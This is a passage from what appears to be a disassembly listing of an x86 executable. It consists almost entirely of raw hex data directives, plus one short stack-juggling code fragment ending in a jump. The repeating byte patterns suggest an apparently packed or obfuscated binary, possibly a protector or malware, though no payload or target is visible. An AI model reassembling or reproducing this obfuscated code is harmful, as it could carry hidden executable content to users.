		dd 32FC3777h, 0A5BD8B73h, 6A05EA02h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 7E3BC350h
		dd 5D2C2853h, 3349CDBBh, 835F5311h, 0EA25F5BDh,	850F0305h
		dd 499h, 178A0Fh, 12E90000h, 59000000h,	5D5DA15Fh, 0AFE7D4E1h
		dd 8B06B56Eh, 0D781C545h, 0E0BD83D8h, 5EDD9h, 46F840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0CDB06DC3h, 0AA270F81h, 36B77F9Eh, 0D9E0B5FFh
		dd 816005EDh, 4D395BEBh, 0F8B70F32h, 8D95FF61h,	6A05EA12h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 70CDC353h, 1DD4A7C2h, 0BB66EDF9h,	0B58B02F8h
		dd 5EDD9D4h, 0C61ED781h, 6C71FA6h, 10001h, 1DBD8B50h, 5B05EA1Ah
		dd 0E8525050h, 8, 0B1E2B69Eh, 8FD1DC80h, 0E9310F5Fh, 0Bh
		dd 89128E11h, 86397E61h, 5A74DC35h, 24348958h, 24859D8Bh
		dd 10E905EAh, 79000000h, 0A02550D2h, 0D0D6C8BFh, 0EA6AE328h
		dd 0FF9264FAh, 0EDD9E0B5h, 998D2905h, 0FF05EA13h, 0EA326995h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 6021B6CFh, 11820Fh, 0BE80000h, 29000000h
		dd 39100730h, 9D48B5D0h, 0E95FAB96h, 9,	7E5AD9FCh, 0E620587Ch
		dd 9D8B6191h, 5EA19D1h,	0D9D4B58Bh, 6A05EDh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B6A5AC3h
		dd 0EA088185h, 8B73B705h, 0EA1051BDh, 0C4868905h, 0E8000000h
		dd 0Ch,	5DF8D12Fh, 4EE912AEh, 0DE6E3643h, 2551B509h, 8B5B05EAh
		dd 0EA0ADD95h, 35BD8B05h, 8B05EA23h, 0EA08CDBDh, 4C28305h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 2BC35343h
		dd 93592911h, 335E3A6Ah, 0EA251D9Dh, 20508905h,	59B58950h
		dd 5B05EA07h, 0EB67858Dh, 952905EDh, 5EA1219h, 0B88689h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0D7E557C3h, 334BEC5Ch, 13E9h, 0B7373800h
		dd 0C25F640Dh, 33DC1A8Ch, 47894075h, 0B2C4EC8h,	6A006AF8h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 36EDC353h, 70937F60h, 0F7784DE8h,	4668C381h
		dd 0B5FF2517h, 5EDD9E0h, 12E9h,	60F89E00h, 768901E1h, 8FBDDC0Ch
		dd 3CD8BFB0h, 0FFEC7A0Bh, 0EA163D95h, 0B1BD8B05h, 5005EA0Dh
		dd 0CE95250h, 1F000000h, 50F0A907h, 0C7B2933h, 0F4CFBB3h
		dd 5B535631h, 89585A5Bh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BD8BF9C3h, 5EA251Dh
		dd 19B9B589h, 0B5FF05EAh, 5EDD9E0h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0C2C35242h,	309FB3F0h, 0E18B827Dh
		dd 0D8D0FBAh, 0E9000000h, 8, 6A9457BBh,	6548AD95h, 15A995FFh
		dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0F0E02C3h, 8589EB4Ah, 5EA2C21h, 22D8529h
		dd 0BD8305EAh, 5EA115Dh, 6E840F00h, 89000000h, 0EA0CD985h
		dd 30A8BF05h, 0F9646CDh, 1E84h,	60525000h, 0E9310F61h
		dd 11h,	22A387FBh, 0B8F103E6h, 0CFC593E2h, 8D6F4461h, 50585ABDh
		dd 96FE8B66h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ah,	60C35646h, 107AD723h, 8B50C672h, 0EA299D9Dh, 0AE95F05h
		dd 0B000000h, 0AD11679Dh, 494ECF8Ch, 0E0B5FFBCh, 6A05EDD9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 10D2C350h, 282D7F5Ah, 1B2304B6h, 1E819D8Bh
		dd 95FF05EAh, 5EA1CC9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 44C35343h, 89C61C39h,	0EA238585h, 0E0B5FF05h
		dd 6605EDD9h, 95FFDF8Bh, 5EA230Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0C8C35646h,	0C5204D80h, 8396B57Eh
		dd 0EA0631BDh, 840F0205h, 39h, 95F38166h, 95858B72h, 6605EA0Ch
		dd 0C6D21CBFh, 6A0000h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 2E4A38C3h, 8BE65892h, 0EA1EA5BDh
		dd 7D85C705h, 5EA09h, 89000000h, 0EA2E6995h, 0F194E905h
		dd 0BD8BFFFFh, 5EA1625h, 8D31C18Bh, 5EA3159h, 298D858Dh
		dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0DC483EC3h, 95896199h, 5EA2D31h, 0BE85090h
		dd 0E9000000h, 0F8F8C69Ah, 391E3A2Ah, 905F3A66h, 6508DB81h
		dd 6A4B05h, 9006AFCh, 0EA02C995h, 0B5858D05h, 6A05EEF4h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0FC79C355h, 223DEBECh, 50BE2170h,	23D99D89h
		dd 0C08305EAh, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 55CA0391h, 0D4F0EDE5h
		dd 13A59589h, 8A5005EAh, 240489F9h, 81D9D8Bh, 6A05EAh
		dd 6870Fh, 9D230000h, 5EA1BFDh,	6B3006Ah, 1E8E0Fh, 12E80000h
		dd 4F000000h, 504BDB2Bh, 0C4BC784h, 0E13D7863h,	73436134h
		dd 0C985090Bh, 5F05EA0Ah, 23E995FFh, 0BD2305EAh, 5EA00B9h
		dd 0D89D8D8Dh, 0B58905EDh, 5EA1CDDh, 6AD1FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 457506C3h
		dd 3011B0Fh, 0D1BD83FAh, 105EA02h, 9C850Fh, 830F0000h
		dd 5, 0CCB8166h, 0F5026A3Ah, 14E85090h,	37000000h, 8DEAEF34h
		dd 9A90490Ah, 0A885B517h, 0F85C6390h, 0E97069BEh, 0Eh
		dd 0D375E4Bh, 0E10109E4h, 0B43F5A50h, 5F5F16A6h, 60525050h
		dd 5DD8B966h, 6E9h, 0E02F3000h,	616B8341h, 5060310Fh, 5A310F52h
		dd 585A6158h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0E95620E8h, 24ADBD8Bh, 880F05EAh
		dd 6, 11ED8D31h, 95FF05EAh, 5EA163Dh, 2C119D8Bh, 9CE905EAh
		dd 0E800000Dh, 0
		dd 0BFED815Dh, 6A05EEF4h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 93D0C355h, 0C8A130B3h
		dd 0F353BF66h, 0FEDEBB66h, 0C387858Dh, 6A05EDh,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E99569C3h, 9, 891926CFh, 1F30917Eh,	0CD9D8B46h, 5005EA1Ch
		dd 4894FB7h, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 89FFBF6Dh, 84618FD4h, 0FF646406h
		dd 35h,	0FE8B6600h, 2C859D8Bh, 896405EAh, 25h, 0DD11BB00h
		dd 85FF580Fh, 5EA1C49h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0DAC35343h, 75AF147Ch, 0E958DB80h, 0Ch
		dd 26BAC4ECh, 7E58BADEh, 74322FD2h, 9D8BFF6Ah, 5EA2039h
		dd 2EADB5FFh, 8B6605EAh, 890FDEh, 0FF000000h, 0EA144995h
		dd 113E905h, 0DF800000h, 8900B09Bh, 0EA1669B5h,	8B70E605h
		dd 0EA19B99Dh, 6671E405h, 0A1DFD781h, 830F613Ch, 0F1h
		dd 0BAC8B60Fh, 6, 1ED9ABBBh, 8BC18B19h,	0EA09559Dh, 4E8C105h
		dd 12E9h, 3954800h, 0B445D8AEh,	0D4024A34h, 5C9ADF8Eh
		dd 660E0881h, 4AB3E2F7h, 1CDD9589h, 0C82B05EAh,	0EE9h
		dd 6A907900h, 0BAD76379h, 0D9A4AE77h, 8B14BCB2h, 9BE9D1h
		dd 0BF0F0000h, 1858BDBh, 66000000h, 0C083F98Bh,	6800F07h
		dd 9000000h, 0EA0F71BDh, 0C08305h, 830FD03Bh, 19h, 79B58B60h
		dd 3105EA1Bh, 0EA0A1995h, 8D296105h, 5EA15CDh, 5CE9h, 0FF8D8B00h
		dd 0E8FFFFFFh, 6, 28A61EF1h, 5FF9C4E9h,	0F01E183h, 4084h
		dd 0CE800h, 0F5D60000h,	72B62E66h, 8B7CC7Ch, 0BD0BC594h
		dd 5EA1E1Dh, 0FFA5835Fh, 0FEFFFFFFh, 0BFA1BB66h, 19589h
		dd 0DE90000h, 60000000h, 586CAD71h, 0CE4D0EB0h,	0F54E830Eh
		dd 0E9h, 9AB58D00h, 6A05EE73h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 83F3C352h, 4893B75Dh
		dd 5660F81Bh, 2C51958Bh, 8B5E05EAh, 0EA0B9995h,	9D896105h
		dd 5EA0CD9h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0F88B3EC3h, 122D9501h, 95FF05EAh
		dd 5EA1015h, 0B9FEBF0Fh, 0EDFh,	30098D31h, 0E18305EAh
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 8AFCF957h, 0B8F9h, 95090000h, 5EA2F1Dh
		dd 0BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 8974FB3Bh, 0EA0371BDh, 0FAB70F05h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 1398531h,	0BD8B05EAh
		dd 5EA1C5Dh, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 980A1249h, 0FE8B6609h
		dd 0ADD958Bh, 0D38105EAh, 4807798Ch, 0ACD8D8Bh,	0BD3305EAh
		dd 5EA3181h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0CA72AC3h, 482A763Fh, 66E02E88h, 8166DE8Bh
		dd 0B3FF82E7h, 19BD8379h, 5EA08h, 47840Fh, 0F7800000h
		dd 0B8FB8B20h, 0
		dd 17E5BD8Bh, 8D8D05EAh, 5EA4C21h, 0B619D8Bh, 0E1FF05EAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 43C35646h
		dd 47A0DDABh, 8B52A9E9h, 0EA13E59Dh, 0F5BD8305h, 5EA25h
		dd 4D0840Fh, 95890000h,	5EA081Dh, 25F5BD83h, 0F0105EAh
		dd 4D884h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0F5BD83EBh, 305EA25h, 479860Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 4AF562C3h, 66638379h, 60A12FBFh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0F8C35343h,	6EC51083h, 0E9DA8AF3h
		dd 0Ch,	89EA13A7h, 0C4E8E129h, 1571B8B6h, 81D98C66h, 6C4E42C7h
		dd 4E1803Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	56C35747h, 93286029h, 0C90AA84Bh, 183840Fh, 0EF810000h
		dd 63AA29h, 1629858Bh, 0F6005EAh, 0BD29F6B7h, 5EA0B85h
		dd 0D3815161h, 6B5A0EFDh, 3585335Fh, 8905EA15h,	0EA181585h
		dd 11E95005h, 0BC000000h, 91F17AEEh, 19CF8D21h,	0F5C23E70h
		dd 0F6A704AAh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0FFC3C352h,	0EEC172EDh
		dd 49BD0325h, 0E905EA1Ah, 0Bh, 3DB5DF6Fh, 3225AA1Ch, 0FA415E2h
		dd 0E8Fh, 9E900h, 0D6150000h, 3943875Bh, 6AF29051h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0F333B286h, 9FD838C9h, 0DE8B668Fh, 17FD9529h, 5B6805EAh
		dd 66D21E6Bh, 481FA8Bh,	98A424h, 55006A2Eh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 2FBBD008h
		dd 601DAF7Dh, 30658D89h, 0B96605EAh, 0FF6134F9h, 0EA320D95h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 19DDDA69h, 5D8509D6h, 8B05EA29h,	0E78166DAh
		dd 858933F0h, 5EDD9E0h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0E1C35040h, 0E9F91BD5h, 1D5h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 86C35242h, 6DBD8B1Fh
		dd 8905EA0Dh, 0EA15A59Dh, 0D8858B05h, 6A05EDD9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0FEF8C357h, 0C7707840h, 1800h, 0D8E0F00h, 0E9000000h
		dd 8, 69491559h, 0C14D5359h, 0D9DCB58Bh, 6A05EDh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 5B4CAAC3h, 0CE8949F5h, 84BB6612h, 0E5858BF2h, 8105EA29h
		dd 4BB2FDE7h, 8B068938h, 0EA1BC19Dh, 6800F05h, 81000000h
		dd 0E467D7E3h, 29858B7Bh, 6A05EA16h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0FDAFC356h
		dd 8B722809h, 0EA2D619Dh, 4468905h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 3AC35747h, 35747CBAh, 0EE19509h
		dd 539605EAh, 5FDF8B66h, 9658B750h, 0F1DF8166h,	0A9BD8B58h
		dd 0FF05EA11h, 0EDD9D8B5h, 0F3816605h, 14685FF2h, 53A0BC48h
		dd 28B95DBBh, 4815B32h,	62BBEB24h, 0E0858D5Fh, 6A05EDD9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0DFB9C351h, 699D8B9Fh, 9005EA2Ch,	5E85250h
		dd 73000000h, 0FCA532E6h, 9E9h,	45E97B00h, 8E3C2D0Bh, 0F5B7157h
		dd 13E831h, 11140000h, 4DAC65Ch, 0C1CFA5D7h, 80B8AFA1h
		dd 264237DDh, 5FF98B16h, 6650585Ah, 90308ABBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B3C35141h, 320D95FFh
		dd 816005EAh, 0BE1AD4C2h, 0CB8B6607h, 6A6161h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 8EDF22C3h, 153A4B0h,	0EA00E98Dh, 12E95F05h, 1000000h
		dd 39B2841Dh, 75B56C2h,	0AEC6B895h, 0F7F7A205h,	0F585C7B2h
		dd 305EA25h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0FCDDC351h,	73EC4410h
		dd 85E5BD62h, 0EE1BD8Bh, 0BD8305EAh, 5EDD9E0h, 38840F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0AAFCC353h, 0F83E6605h, 0C20D1D80h
		dd 54E727BFh, 0E5BD891Bh, 0E905EA0Dh, 1Eh, 5006CF80h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0C38BD4C3h, 3C2F452h, 0E867242Dh, 5,	0E4351E5Eh, 0FEBF0FF1h
		dd 8E95Bh, 47350000h, 1632B124h, 0BD8302ACh, 5EA25F5h
		dd 44850F03h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 5067C357h, 0DF56EE20h
		dd 83F98B92h, 0EDD9E0BDh, 840F0005h, 413h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 93C35747h, 32C79564h
		dd 694DEBDCh, 3D9D8B25h, 0FF05EA10h, 0EDD9E0B5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 9670A1C8h, 0C398F420h, 0E1B58949h, 0F05EA02h, 68Ah
		dd 0E58D8900h, 0FF05EA19h, 0EA128D95h, 53BB6605h, 0D4B58B77h
		dd 6A05EDD9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0CAAC350h, 0FC3A4030h,	43623127h
		dd 106C7h, 9D8B0001h, 5EA098Dh,	0E5BD0957h, 5F05EA2Bh
		dd 44BB6050h, 50101D9Eh, 6158D68Bh, 6A243489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 63ABC357h, 39570609h, 0B5FF0ABDh, 5EDD9E0h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DBC35040h, 8A0F0BFAh
		dd 5, 0C0A082BBh, 6995FF3Ah, 6A05EA32h,	3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 3CEC350h
		dd 0EA09659Dh, 0D4B58B05h, 0F05EDD9h, 858BDBB7h, 5EA0881h
		dd 892EF780h, 0C486h, 0F59D3300h, 8B05EA1Ch, 0EA0ADD95h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 1894DDF7h, 13E931h, 45C20000h, 2238E396h
		dd 61E1405Dh, 92111266h, 9B70DC91h, 4C283B6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 15C35040h, 464BB1CFh
		dd 205089D8h, 14918D89h, 858D05EAh, 5EDEB67h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CDC35141h, 0B8868994h
		dd 0F000000h, 38Ch, 5BFC5600h, 6A006Ah,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0B7EA59C3h
		dd 2B15B3C6h, 0D9E0B5FFh, 8D0105EDh, 5EA2575h, 163D95FFh
		dd 6A05EAh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0F08075C3h, 962EF1E1h, 8B50FE8Bh, 816696FEh,	0FFCC42F3h
		dd 0EDD9E0B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 10CA744Bh, 68D0Fh, 0E3810000h
		dd 5F478D7Bh, 871BD03h,	95FF05EAh, 5EA15A9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 15C35545h, 0BD839456h
		dd 5EA115Dh, 36840F00h,	66000000h, 8B50D98Bh, 243489FEh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 68C35343h
		dd 1F0B5F23h, 9D562C8Bh, 8B6660C4h, 3FD480D9h, 0E0B5FF61h
		dd 0F05EDD9h, 484h, 5FBB6600h, 0C995FF81h, 0F05EA1Ch, 0B85h
		dd 6E900h, 0EFB50000h, 8D15A525h, 0D9E0B5FFh, 6A05EDh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 7EEB97C3h, 8E983h, 91630000h, 0F03C4A3h, 0FFF8A1E9h
		dd 0EA230D95h, 0D9D3305h, 8305EA10h, 0EA0631BDh, 840F0205h
		dd 7Fh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 3EC35141h, 2529D59Fh, 55AC9FFFh, 7D8501F7h, 8B05EA1Eh
		dd 0EA0C9585h, 5CE38005h, 6A0000C6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 4016C350h
		dd 36EA7E20h, 8D896087h, 5EA026Dh, 0E961FE8Bh, 14h, 1534356Eh
		dd 35FEB06h, 0C579B4B8h, 0AAC8134Dh, 0C2E5CF9h,	0C7DFB70Fh
		dd 0EA097D85h, 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 769463C8h, 0E98FD6A1h
		dd 0FFFFF360h, 2E099D8Bh, 0C18B05EAh, 59BBD98Bh, 0EB1237BBh
		dd 97C6E804h, 4D7E903h,	0CC0C0000h, 52857F2Bh, 0CE0DF7A3h
		dd 50817B2Fh, 0CB0FF5A1h, 5BDA7C28h, 0A0F4A72Bh, 3367145Ah
		dd 80D48BC9h, 1246F37Ah, 0A4982AB8h, 171D4568h,	0E86D329Bh
		dd 6BEFE549h, 0EF669CC8h, 71E4EE42h, 0D28AF781h, 0BCD07E28h
		dd 0DAE2CE2h, 0D3040EAEh, 8B818E22h, 6E0B4259h,	0EA7DFE30h
		dd 569A6458h, 234FD717h, 1840E38Fh, 26AB72E2h, 8D67D58Bh
		dd 0E017569Ah, 844A1478h, 0EE8FC057h, 0E1422E82h, 6E1143B9h
		dd 0D586C8C2h, 65972979h, 25712656h, 0A5FB96DFh, 0E071E36Bh
		dd 0B6AD6B8Dh, 2A8A2945h, 57106B5Ch, 0ABD99B17h, 0EE1D6A2h
		dd 4D2634h, 6D7F0000h, 93E549E8h, 1756669Fh, 727BE9ABh
		dd 340E3886h, 1F6h, 0EA6DAF00h,	6AEDE74Bh, 0EC6D67CBh
		dd 3B89134Dh, 17566741h, 0A8FA6DB4h, 0ECD12651h, 89832380h
		dd 0F05A948h, 0D7872BC6h, 0D5DAFB69h, 69EEADDFh, 0D31AE0B4h
		dd 6D2B7226h, 0E8E24EEDh, 0B21AB667h, 915F90FCh, 51E3BD5Ch
		dd 1756675Bh, 939536AEh, 46E8BC5Fh, 3A964788h, 7AF3F556h
		dd 2B8736B9h, 0D9872B47h, 0BCBF5530h, 75D6033Ah, 0F15D0073h
		dd 0E33AD38Dh, 9A04EACCh, 0B8D489CAh, 222B591Bh, 340F0246h
		dd 4DB6h, 0ED6DEF00h, 6BE8E24Eh, 175A94CAh, 6702FA48h
		dd 0ED751756h, 8D822281h, 14465587h, 89C93367h,	0D4C46EAh
		dd 0E2BCC06Ch, 66F2CA78h, 0DD451756h, 85D03C7Eh, 340E3EE3h
		dd 3113h, 0ED6D4A00h, 6CE8E24Eh, 1D4367CBh, 892AA8EFh
		dd 0EA6D84DDh, 9E91E74Bh, 54175666h, 0E99FE616h, 15340E38h
		dd 0Ah,	31C852BBh, 0F8F9D271h, 0EE6DFE5Bh, 98DF114Fh, 862549E5h
		dd 50E27826h, 1756675Ch, 0DB6937AFh, 175666E1h,	696FCC54h
		dd 939935E4h, 1F15B95Ch, 0C7973BD6h, 0BAEA0B79h, 90C3D804h
		dd 3995488Bh, 1904B014h, 0CBA792EBh, 0FF0AF3A7h, 0E5CA7826h
		dd 5812BD0Eh, 0EF666CC0h, 69EC1642h, 201264C8h,	3C116D0Dh
		dd 30A5F262h, 0A62FD581h, 28ADA70Bh, 0A82F2589h, 0D7F75C7h
		dd 6AF2116Dh, 31A0AA06h, 8C5D25C1h, 731F1573h, 0CB3977DFh
		dd 204C02AAh, 76E6529Bh, 0B7DC7B2h, 1BB5E18Dh, 52F1A0D5h
		dd 246B6E1Ah, 1269E2Eh,	39C70000h, 5CB2A2D0h, 570C16EEh
		dd 0DCF16917h, 5BF85210h, 2C724B5Eh, 0E5C86DE2h, 533AE157h
		dd 0A58FBECh, 0BD6E27B8h, 0EE42DA12h, 34A671E4h, 2B472B87h
		dd 0F94BD17Fh, 116D4B03h, 4B17ED5Fh, 0F26A116Dh, 0B8BE1D85h
		dd 22288435h, 0B9500EABh, 0BA92DA37h, 41E142C1h, 6635A7E9h
		dd 0B81642EFh, 573BEC51h, 0E64594B5h, 2503DAAEh, 6DEF212Eh
		dd 3C3069CAh, 69000000h, 104E276Eh, 5666FAA2h, 0F955CD17h
		dd 5665B58Fh, 6597D517h, 3B655055h, 5665E389h, 104ED617h
		dd 7D1B96F9h, 55F621C4h, 0E96DA30Dh, 808AE64Ah,	6D01AD4Eh
		dd 7613CEh, 394A0000h, 7BD782F7h, 68B1B417h, 9759C39Dh
		dd 6E14B762h, 12BC461Dh, 6E64C850h, 0E41E4AE7h,	1A6CC071h
		dd 116C43EBh, 566597C9h, 0DF26721Fh, 37ADF3CAh,	431F0ADEh
		dd 79DA6E30h, 0CED35503h, 8CCF010Ch, 232945E9h,	0D5AE0DB0h
		dd 62EBE14Dh, 0D33D3785h, 28B00B7Ch, 6B8E844h, 0EEB7C2D6h
		dd 0D15602B0h, 0B12906DFh, 2B121EFh, 8B1183AEh,	0C9FE01B8h
		dd 75E06A5h, 2738D039h,	0E6D6481h, 8461A8ADh, 4B8E40DAh
		dd 8536A4AEh, 9CE64529h, 12BA51D4h, 0C5BF0DA7h,	38116850h
		dd 6A60CCA0h, 986236E3h, 0E390C255h, 0BE55238Fh, 90B4092h
		dd 0FD9CDD13h, 901B11A3h, 0F66E0AEFh, 0D6E51755h, 5CA6F29Fh
		dd 0DED47819h, 252FE9Bh, 0D11F50BCh, 29DFF2A1h,	5B7BA0FCh
		dd 2BA2A407h, 0F84AD08Eh, 0AEF7604h, 144CEF77h,	4AF867EEh
		dd 0AEF7672h, 9D315DC5h, 7A912AC3h, 0F8A8D078h,	8865Bh
		dd 0E6280000h, 0C560C370h, 0EB6DA508h, 5B929834h, 0DC1812BEh
		dd 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h, 57848E22h
		dd 0CF000AA6h, 52E9822Eh, 0C281E289h, 4, 8704EA83h, 248B2414h
		dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 242C895Ch
		dd 252368h, 243C8900h, 8904EC83h, 4FBE2434h, 0BD69DB0Dh
		dd 6FCA0FB0h, 545EF529h, 81243C8Bh, 4C4h, 4EC8300h, 81242C89h
		dd 73402404h, 478F31D4h, 86F8108h, 31D47340h, 56243C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 2C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dw 0DD5Ah
		dd 0F6348099h, 94577D7h, 0AB77DD40h, 69AB871h, 0C50305EFh
		dd 0C8CBE0FFh, 0B00A118Eh, 50472367h, 0DD737A78h, 0DD6F22E6h
		dd 0A48250B2h, 6A15277Dh, 9CC44C42h, 888D1B3Fh,	0F4346EF5h
		dd 782D229Ch, 5FFF4952h, 1D75B50h, 68364B8Fh, 0F1EA4E27h
		dd 9BE0AC1h, 0D86B45B2h, 7BE179C5h, 0A69A6D35h,	858D7873h
		dd 5EA298Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	81C35747h, 0C7E413E9h, 90ED4EEBh, 75A3BB66h, 6A9050h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0DE6A8FC3h, 3FBA4F56h, 607D5B54h, 2870Fh, 1CB20000h
		dd 61C68B66h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0AD262BC3h, 8FBFEF1Bh, 6A56F7F7h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 858DD126h, 5EF098Dh, 83FAB70Fh, 6A05C0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 6FEAA1C3h, 0B4CB2093h, 0BD8BE862h, 5EA0C6Dh,	0E1BF6650h
		dd 24048963h, 6A006AF8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FF8C352h, 82h, 6A006A00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
